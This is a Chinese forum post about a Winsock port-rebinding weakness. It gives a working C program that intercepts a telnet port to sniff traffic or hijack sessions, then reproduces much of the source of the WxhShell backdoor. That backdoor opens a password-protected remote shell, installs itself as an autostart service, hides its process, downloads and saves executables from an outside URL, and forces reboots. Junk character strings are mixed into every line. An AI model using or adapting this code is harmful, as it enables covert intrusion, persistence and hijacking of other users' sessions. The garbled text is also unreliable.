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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5Rc^5Nv  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); e_{!8u.+  
7HkQ|~zGT  
  saddr.sin_family = AF_INET; Tl2e?El;4  
A0hfy|1#L  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ?5yj</W  
gY=Ry=w9  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4X^{aIlshk  
_#mo6')j  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 v7kR]HU[y  
hExw}c  
  这意味着什么?意味着可以进行如下的攻击: {#Vck\&  
y!;PBsU%Sx  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `4N{x.N  
Pa}B0XBWP  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ['l.]k-b}  
Uq8=R)1<|d  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @T6Z3Zj}  
G>q16nS~KP  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :>t^B+  
1FO T  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <y30t[.E6  
q%Fc?d9  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Zagj1 OV|  
_a e&@s1  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 A7SE>e>  
EE<^q?[3^  
  #include }CyS_Tc  
  #include 6-w'?G37  
  #include 8iDg2_l`G  
  #include    -< 0PBl  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Q:#Kt@W  
  int main() i$Sq.NU  
  { J/o$\8tiMw  
  WORD wVersionRequested; w_sA8B  
  DWORD ret; ,@b7N[h  
  WSADATA wsaData; #ErIot  
  BOOL val; ^ew<|J2,B  
  SOCKADDR_IN saddr; =:;KY uTr  
  SOCKADDR_IN scaddr; Q4&|^RLLG  
  int err; d'yA"b]  
  SOCKET s; X%>Sio  
  SOCKET sc; ~il{6Z+#n  
  int caddsize; 1p[Z`m*9  
  HANDLE mt; ?(!<m'jEy  
  DWORD tid;   5r$ X  
  wVersionRequested = MAKEWORD( 2, 2 ); xa?#wY b  
  err = WSAStartup( wVersionRequested, &wsaData ); .PhH|jrCW^  
  if ( err != 0 ) { -#nfO*H}  
  printf("error!WSAStartup failed!\n"); ERE1XOe=D  
  return -1; jW G=k#WN  
  } / W,K% s]  
  saddr.sin_family = AF_INET; `S{Blv  
   R1%2]?  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {MaFv  
u?>]C6$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); v FL\O  
  saddr.sin_port = htons(23); vj23j[!|  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |4F 3Gu  
  { dK=<%)N  
  printf("error!socket failed!\n"); # XD-a  
  return -1; v GT#BS%  
  } {0#p,l  
  val = TRUE; Ve1O<i  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 T|c9Swu r  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2+Tu"oG;rB  
  { 0{ O|o_  
  printf("error!setsockopt failed!\n"); y<<:6OBj  
  return -1; P2+Z^J`Y>  
  } A?q9(n|A"  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +gQn,HX  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 [uh$\s7  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 | Ts0h?"a  
=7Wr  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) < Y(lRM{  
  { V|h/a\P  
  ret=GetLastError(); t1I` n(]n  
  printf("error!bind failed!\n"); +6xEz67A<  
  return -1; dUTF0U  
  } 06&:X^  
  listen(s,2); cN{-&\ 6L  
  while(1) Dw@0P  
  { ZXf^HK  
  caddsize = sizeof(scaddr); $1CAfSgKw  
  //接受连接请求 G(puC4 "&  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); =H F||p@  
  if(sc!=INVALID_SOCKET) {iv!A=jld  
  { r#K;@wu2  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |Q'l&Gt6  
  if(mt==NULL) @Ik@1  
  { 4}~zVT0'~  
  printf("Thread Creat Failed!\n"); U*Hw t\  
  break; f&\v+'[p  
  } -}Jf4k#G  
  } 6tE<`"P!  
  CloseHandle(mt); =/k*w#j  
  } O!b >  
  closesocket(s); COx<X\  
  WSACleanup(); `dYM+ jpa  
  return 0; 88dq8T4  
  }   amL8yb  
  DWORD WINAPI ClientThread(LPVOID lpParam) (L)tC*Qjc  
  { >?$+hZz<  
  SOCKET ss = (SOCKET)lpParam; 0nF>E@j^[  
  SOCKET sc; mxYsP6&  
  unsigned char buf[4096]; 2[\I{<2/9  
  SOCKADDR_IN saddr; 7DU"QeLeb  
  long num; 3zO'=gwJ  
  DWORD val; 0aMw  
  DWORD ret; / ;%[:x  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;)^eDJ<  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {I!sXj  
  saddr.sin_family = AF_INET; By t{3$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); M~/%V NX  
  saddr.sin_port = htons(23); 0Wf,SYx`s  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }Om+,!_d  
  { TB]B l.  
  printf("error!socket failed!\n"); r$~w3yN)v  
  return -1; oJF@O:A  
  } s^nwF>  
  val = 100; MSm vQ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n')#]g0[  
  { `hD\u@5Tw  
  ret = GetLastError(); 2VOdI  
  return -1; (9N75uCa  
  } wn'_;0fg  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }ug|&25D  
  { "tga FtC=w  
  ret = GetLastError(); |M?yCo  
  return -1; =H_|007C  
  } t(4%l4i;X  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) OBF2?[V~  
  { %bnDxCj"  
  printf("error!socket connect failed!\n"); eZ]4,,m  
  closesocket(sc); P5+FZzQ  
  closesocket(ss); 0Ts[IHpg&E  
  return -1; 5@$b@jTd  
  } M]?#]3XBNo  
  while(1) "+js7U-  
  { -f.<s!a  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Tc6H%itV  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 PrIS L[@  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 V~+{douq  
  num = recv(ss,buf,4096,0); 6g*B=d(j  
  if(num>0) cH()Ze-B  
  send(sc,buf,num,0); yfS`g-j{~  
  else if(num==0) jXO*_R  
  break; Q(-:)3g[aL  
  num = recv(sc,buf,4096,0); ^ ~HV`s  
  if(num>0) m8F-#?~  
  send(ss,buf,num,0); eUYd0L!  
  else if(num==0) xf8C$|,  
  break; zof>S>5>R7  
  } R$@|t?  
  closesocket(ss); X[:&p|g]  
  closesocket(sc); $cri"G  
  return 0 ; }>cQ}6n.  
  } sKhX0,s&  
.(tga&]  
S1pikwB  
========================================================== ,TTt<&c  
r >:7)p!|  
下边附上一个代码,,WXhSHELL 8|A*N< h  
O2E6F^.pYw  
========================================================== odPq<'V|AY  
[-cYFdt"V  
#include "stdafx.h" +*3\ C!  
BzL>,um  
#include <stdio.h> Qo{Ez^q@J  
#include <string.h> Oslbt8)U6  
#include <windows.h> C+-xC~  
#include <winsock2.h> 8$3G c"=  
#include <winsvc.h> ^'=J'Q  
#include <urlmon.h> O $uXQ.r  
B:=*lU.n  
#pragma comment (lib, "Ws2_32.lib") 1}mI zrY  
#pragma comment (lib, "urlmon.lib") oc,a  
9g#L"T=  
#define MAX_USER   100 // 最大客户端连接数 )p7WU?&I  
#define BUF_SOCK   200 // sock buffer F4i c^F{K  
#define KEY_BUFF   255 // 输入 buffer 4r!8_$fN?G  
RYD V60*O6  
#define REBOOT     0   // 重启 _f%Wk>A4  
#define SHUTDOWN   1   // 关机 PNLtpixZ  
~/J:p5?L  
#define DEF_PORT   5000 // 监听端口 &[}T41  
n83,MV?-  
#define REG_LEN     16   // 注册表键长度 }E+}\&  
#define SVC_LEN     80   // NT服务名长度 Bry\"V"'g  
+(VHnxNQs  
// 从dll定义API 8V%(SV  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K oPTY^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X#<#7.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \+mc   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |s :b9sfA  
m M!H}|  
// wxhshell配置信息 +1Oi-$ 2-  
struct WSCFG { ?<\ K!dA  
  int ws_port;         // 监听端口 ~p{.4n2:  
  char ws_passstr[REG_LEN]; // 口令 Q_'3}:4  
  int ws_autoins;       // 安装标记, 1=yes 0=no <;:M:{RZY  
  char ws_regname[REG_LEN]; // 注册表键名  :\1:n  
  char ws_svcname[REG_LEN]; // 服务名 *upl*zFf0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +]/_gz  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5An| #^]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 EUj'%;s z-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~HD:Y7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" CRvUD.D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Sc;WraEn2  
GcQO&oq|  
}; w+bQpIP M  
8 M3Q8&  
// default Wxhshell configuration 3Xaw  
struct WSCFG wscfg={DEF_PORT, _B)LRD+Hj  
    "xuhuanlingzhe", I~EQuQ>=  
    1, d ! A)H<Zt  
    "Wxhshell", [>+(zlK"  
    "Wxhshell", G<,@|6"w  
            "WxhShell Service", f_X]2in  
    "Wrsky Windows CmdShell Service", '/kSUvd  
    "Please Input Your Password: ", FMB\$(g  
  1, oop''6`C%  
  "http://www.wrsky.com/wxhshell.exe", Er?Wg09  
  "Wxhshell.exe" k2l(!0o|;  
    }; L,0HX   
hHF YAh   
// 消息定义模块 dhpEB J  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; SlI0p&2,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #Yi,EwD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; " B Z6G`  
char *msg_ws_ext="\n\rExit."; RG-pN()  
char *msg_ws_end="\n\rQuit."; w1EYXe  
char *msg_ws_boot="\n\rReboot..."; S P)$K=  
char *msg_ws_poff="\n\rShutdown..."; $:w4_X5T  
char *msg_ws_down="\n\rSave to "; S/& _  
-Y%#z'^-  
char *msg_ws_err="\n\rErr!"; {XiBRs e  
char *msg_ws_ok="\n\rOK!"; ncf=S(G+  
)s(J8J[b*L  
char ExeFile[MAX_PATH]; ,Khhu%$  
int nUser = 0; vr2tIKvpn  
HANDLE handles[MAX_USER]; 6,)!\1k  
int OsIsNt; h=um t<&D  
~hPp)- A  
SERVICE_STATUS       serviceStatus; o0^'x Vv  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0l!%}E  
4;W eB   
// 函数声明 H[ocIw  
int Install(void); di}YHMTx  
int Uninstall(void); :)X?ML?  
int DownloadFile(char *sURL, SOCKET wsh); RekTWIspT/  
int Boot(int flag); Q^4j  
void HideProc(void); !r$?66q/  
int GetOsVer(void); Ha9A5Ao}0  
int Wxhshell(SOCKET wsl); g nJe!E  
void TalkWithClient(void *cs); #~%tdmGuL  
int CmdShell(SOCKET sock); 4(Gs$QkSo|  
int StartFromService(void); bvzeU n  
int StartWxhshell(LPSTR lpCmdLine); h" cLZM:6  
o&)O&bNJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {;]:}nA  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Es6b~ #  
c%w@-n`  
// 数据结构和表定义 > tXn9'S  
SERVICE_TABLE_ENTRY DispatchTable[] = Dp!3uR ']p  
{ ?I&ha-."  
{wscfg.ws_svcname, NTServiceMain}, |3W\^4>,  
{NULL, NULL} \9dSI  
}; +J3 0OT8  
ZvEcExA-  
// 自我安装 O= PFr"  
int Install(void) #+p30?r0y  
{ Lzu;"#pw  
  char svExeFile[MAX_PATH]; |BhfW O8p  
  HKEY key; f~-81ctu  
  strcpy(svExeFile,ExeFile); IO~d.Ra  
K <7#;  
// 如果是win9x系统,修改注册表设为自启动 \]=qGMwFs  
if(!OsIsNt) { ork/:y9*y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |2(z<b&y=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AYHB?xOpR  
  RegCloseKey(key); FCTz>N^p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z.n`0`^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Oi+(`  
  RegCloseKey(key); \dSMF,E  
  return 0; :D6"h[7  
    } xiuAW  
  } /-JBz U$  
} |xy r6gY  
else { U;o[>{L   
lob{{AB,!  
// 如果是NT以上系统,安装为系统服务 j|!.K|9B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :#v8K;C  
if (schSCManager!=0) &x19]?D"+  
{ '{WYho!  
  SC_HANDLE schService = CreateService 5"xZ'M~=  
  ( j>X;a39|  
  schSCManager, 4a]m=]Hm  
  wscfg.ws_svcname, 4&;.>{ :;  
  wscfg.ws_svcdisp, B8-v!4b0`  
  SERVICE_ALL_ACCESS, GCCmUR9d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N8|=K_;&  
  SERVICE_AUTO_START, hM\<1D CKG  
  SERVICE_ERROR_NORMAL, CLU!/J $!  
  svExeFile, 'jWd7w~(  
  NULL, c0jdZ#H  
  NULL, [b-27\b  
  NULL, n~N>c*p  
  NULL, e_s9E{(  
  NULL *f|9A/*B3  
  ); T">-%-t  
  if (schService!=0) 2T/C!^iJ)  
  { x \B!0"~  
  CloseServiceHandle(schService); z)"7qqA  
  CloseServiceHandle(schSCManager); y]Q G;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hWpn~q  
  strcat(svExeFile,wscfg.ws_svcname); '(A)^K>+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T0n=nC}<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %\#s@8=2u  
  RegCloseKey(key); J&UFP{)  
  return 0; |1J=wp)#  
    } +RS>#zd/=  
  } > ^fY`x,  
  CloseServiceHandle(schSCManager); R< @o]p  
} e:}8|e~T  
} Q#P=t83  
qR0V\OtgY~  
return 1; -C.x;@!k  
} qp (ng 8%c  
x' *,~u  
// 自我卸载 +F q`I2l|  
int Uninstall(void) \ &1)k/  
{ [z#C&gDt  
  HKEY key; 2h0I1a,7  
Kd^{~Wlz&z  
if(!OsIsNt) { ,\Gn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `C"Slz::  
  RegDeleteValue(key,wscfg.ws_regname); 32jOs|<\  
  RegCloseKey(key); Rro|P_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Srj%6rgsB  
  RegDeleteValue(key,wscfg.ws_regname); @>f]0,"(  
  RegCloseKey(key); 0L10GJ"(  
  return 0; [o8a(oC  
  } 9i@AOU  
} X1G[&  
} fU^B 3S6X  
else { HH+R47%*  
s>z$_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3U=q3{%1  
if (schSCManager!=0) [Z6]$$!#2  
{ @!6eRp>Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c 2j?<F1  
  if (schService!=0) AH`D&V  
  { D3Lu]=G  
  if(DeleteService(schService)!=0) { Y W_E,A>h  
  CloseServiceHandle(schService); <$Q\vCR  
  CloseServiceHandle(schSCManager); 4S|! iOY  
  return 0; Ge$cV}  
  } ;AKtb S;H  
  CloseServiceHandle(schService); |8}f  
  } ,}F2l|x_  
  CloseServiceHandle(schSCManager); *>%34m93  
} ):?ype>  
} p.i$[6M  
p3O%|)yV  
return 1; c/ %5IhX?  
} 7r?O(0>  
~(Gv/x  
// 从指定url下载文件 _`Ey),c_  
int DownloadFile(char *sURL, SOCKET wsh) K6=-Zf  
{ |Axg}Q|  
  HRESULT hr; J'^s5hxn+0  
char seps[]= "/"; 06*R)siC  
char *token; 2{c ;ELq  
char *file; %~P]x7%|  
char myURL[MAX_PATH]; >|SB]'C|  
char myFILE[MAX_PATH]; .E!7}O6  
)a,-Hc:Vz  
strcpy(myURL,sURL); jzV*V<  
  token=strtok(myURL,seps); >U~.I2sz  
  while(token!=NULL) "{;]T  
  { AWC zu5ve  
    file=token; :/ns/~5xa:  
  token=strtok(NULL,seps); Ne*I$T 5  
  } vgOmcf%;  
%Bmi3 =Rr  
GetCurrentDirectory(MAX_PATH,myFILE); |#R;pEn  
strcat(myFILE, "\\"); DrbjqQL+.  
strcat(myFILE, file); =N01!?{  
  send(wsh,myFILE,strlen(myFILE),0); D.)$\Caq  
send(wsh,"...",3,0); k6rX/ocu  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); * JGm  
  if(hr==S_OK) b,5H|$nLu  
return 0; ?6Cbx6  
else uoFH{.)  
return 1; wE3^6  
ba|x?kz  
} )/2* <jr  
jo=XxA  
// 系统电源模块 AC,$(E  
int Boot(int flag) w(`X P  
{ Mo &Ia6^  
  HANDLE hToken; #O]F5JB  
  TOKEN_PRIVILEGES tkp; &w:"e'FG`  
0:Js{$ZL4  
  if(OsIsNt) { kM]:~b2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,0[8/)$M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xr!FDfM.K  
    tkp.PrivilegeCount = 1; is{I5IR\/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Gh0H) q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +xRja(d6  
if(flag==REBOOT) { 3O%[k<S\VO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) liFNJd`|o+  
  return 0; G,>tC`!  
} /a17B  
else { = sedkrM  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8<3J!X+  
  return 0; k='sI^lF  
} D9e"E1f+"  
  } e%x$Cb:znn  
  else { iKV;>gF,)v  
if(flag==REBOOT) { .{HU1/!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U/,`xA;v>  
  return 0; *rp@`W5  
} wQb")3dw  
else { 2tC ep  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) O(,Ezy x  
  return 0; ru3nnF_I  
} s['F?GWg  
} JO5~Vj_"  
^C>i(j&  
return 1; Lcplc"C  
} 9C[3w[G~C  
MR%M[SK1  
// win9x进程隐藏模块 Rb<aCX  
void HideProc(void) 3s\2 9gq  
{ hnL"f[p@gC  
s!Y>\3rMW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e{Om W  
  if ( hKernel != NULL ) 82Nh;5T r  
  { QV+('  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )gvX eJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rj$u_y3S*  
    FreeLibrary(hKernel); =r+u!~%@''  
  } g63:WX-\  
W2tIt&{  
return; C5i]n? )S  
} 9+@_ZI-  
u%5B_<90V  
// 获取操作系统版本 T#J]%IDd  
int GetOsVer(void) "KOLRJ@  
{ ?YXl.yj  
  OSVERSIONINFO winfo; Sl^HMO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tNbCO+rZ  
  GetVersionEx(&winfo); !#3#}R.$Fl  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f|?i6.N> f  
  return 1; V;=SncUb  
  else RK/SeS  
  return 0; ma~WJ0LM\  
} =/.[&DG  
[sFD-2y  
// 客户端句柄模块 ZNFn^iuQ  
int Wxhshell(SOCKET wsl) eN>=x40  
{ ~yt+xWV  
  SOCKET wsh; BI;in;Ln  
  struct sockaddr_in client; ]. 1[H~5N  
  DWORD myID; rv;w`f  
0Z2![n  
  while(nUser<MAX_USER) Gi]Pwo${  
{ dQ`ch~HVUW  
  int nSize=sizeof(client); KLsTgo|J  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4&K~EX"^T  
  if(wsh==INVALID_SOCKET) return 1; $&n!j'C:  
(8@._  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); SWO$# X /  
if(handles[nUser]==0) &kXf)xc<~  
  closesocket(wsh); R JnRbaC  
else 2aW&d=!ZV  
  nUser++; ..'^1IOA  
  } ~?E x?!\9R  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jFw?Ky2  
M ,e_=aq  
  return 0; >8t3a-/  
} & @^|=>L  
DDN#w<#  
// 关闭 socket 5Tb93Q@c  
void CloseIt(SOCKET wsh) }OI;M^5L  
{ Jnb>u*7,  
closesocket(wsh); N#C,_ k  
nUser--; &Dqg<U  
ExitThread(0); H ~J#!3  
} AmRppbj/wO  
Th`IpxV  
// 客户端请求句柄 /JtKn*?}:>  
void TalkWithClient(void *cs) \W( C=e  
{ hn)mNb!  
`t {aN|3V[  
  SOCKET wsh=(SOCKET)cs; +MGEO+  
  char pwd[SVC_LEN]; +aEE(u6%E@  
  char cmd[KEY_BUFF]; pUYa1=  
char chr[1]; MJ8z"SKnV  
int i,j; wR@fB  
+x-n,!(  
  while (nUser < MAX_USER) { IBQmm(+v  
tE9%;8;H  
if(wscfg.ws_passstr) { B:&/*HU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H;G*tje/M  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5=., a5  
  //ZeroMemory(pwd,KEY_BUFF); wB?;3lTS  
      i=0; !R[o6V5T  
  while(i<SVC_LEN) { My:wA;#  
1r\? uD  
  // 设置超时 LC*@ /((  
  fd_set FdRead; bxc#bl3  
  struct timeval TimeOut; IM}#k$vM:  
  FD_ZERO(&FdRead); [FAoC3 k-h  
  FD_SET(wsh,&FdRead); -_%n\#  
  TimeOut.tv_sec=8; kJlRdt2  
  TimeOut.tv_usec=0; |mc!v*O  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); EbY%:jR  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [|<|a3']|  
Sl   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Pp@P]  
  pwd=chr[0]; w~;1R\?|  
  if(chr[0]==0xd || chr[0]==0xa) { %=]~5a9  
  pwd=0; Cc]t*;nU_  
  break; 55zimv&DV  
  } o D*h@yL  
  i++; km}%7|R?  
    } J5mMx)t@  
Nf}G "!  
  // 如果是非法用户,关闭 socket )C<c{mjk(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qI) Yzc/  
} T,!?+#  
n3g3(} Q0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G;yf]xFd  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -SlLX\>p  
0V}%'Ec<e  
while(1) { [L{q  
@2L+"=u#  
  ZeroMemory(cmd,KEY_BUFF); m.&z:`x[  
3EI$tP@4  
      // 自动支持客户端 telnet标准   U9SByqa1  
  j=0; b_|`jHes  
  while(j<KEY_BUFF) { >(|T]u](q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W-<C%9O!  
  cmd[j]=chr[0]; z$QYl*F1  
  if(chr[0]==0xa || chr[0]==0xd) { TF^Rh4  
  cmd[j]=0; # yAt `  
  break; {}s7q|$  
  } f}Mc2PQ-  
  j++; {qp XzxV  
    } 2pQ zT  
38 tRb"3zP  
  // 下载文件 dK#:io[Nz  
  if(strstr(cmd,"http://")) { HKP<=<8/O  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); xeIt7b?#  
  if(DownloadFile(cmd,wsh)) Elo m_   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [as\>@o  
  else ^I5k+cL  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ol^OvG:TQ  
  } q$yTG!q*  
  else { kbN2dL  
,@;",  
    switch(cmd[0]) { N41)?-7F  
  }Cvf[H1+  
  // 帮助 jav7V"$  
  case '?': { kOfbO'O9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q3z<v:=1y  
    break; 5hr$tkk L  
  } MXh0a@*]  
  // 安装 ||;V5iR:  
  case 'i': { 0>6J -   
    if(Install()) @a'Rn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P6!c-\  
    else wI'T J e,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Kyq/'9`  
    break; .D(H@3qA@  
    } DJdW$S7  
  // 卸载 Tv_KdOv8  
  case 'r': { yTm/P!1S  
    if(Uninstall()) 2`9e20  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7v]>ID  
    else ^":UkPFCx:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D|9xD  
    break; xA& tVQ2!  
    } 9{RCh 9  
  // 显示 wxhshell 所在路径 _ho9}7 >  
  case 'p': { :XC~G&HuF6  
    char svExeFile[MAX_PATH]; Cvry8B  
    strcpy(svExeFile,"\n\r"); UMILAoR  
      strcat(svExeFile,ExeFile); bBk_2lg=4)  
        send(wsh,svExeFile,strlen(svExeFile),0); 4@AY~"dq  
    break; $Ypt /`  
    } A(V,qw8  
  // 重启 <~@}r\  
  case 'b': { LUc!a4i"fO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Za_w@o  
    if(Boot(REBOOT)) _ I"}3*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v*iD)k:|t  
    else { K| %.mc s4  
    closesocket(wsh); y-6k<RN  
    ExitThread(0); Q'5]E{1<'n  
    } O`j1~o<{  
    break; Lp.dF)C\  
    } "Rr)1x7  
  // 关机 w<#/ngI2  
  case 'd': { !w2J*E\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q"7vzri  
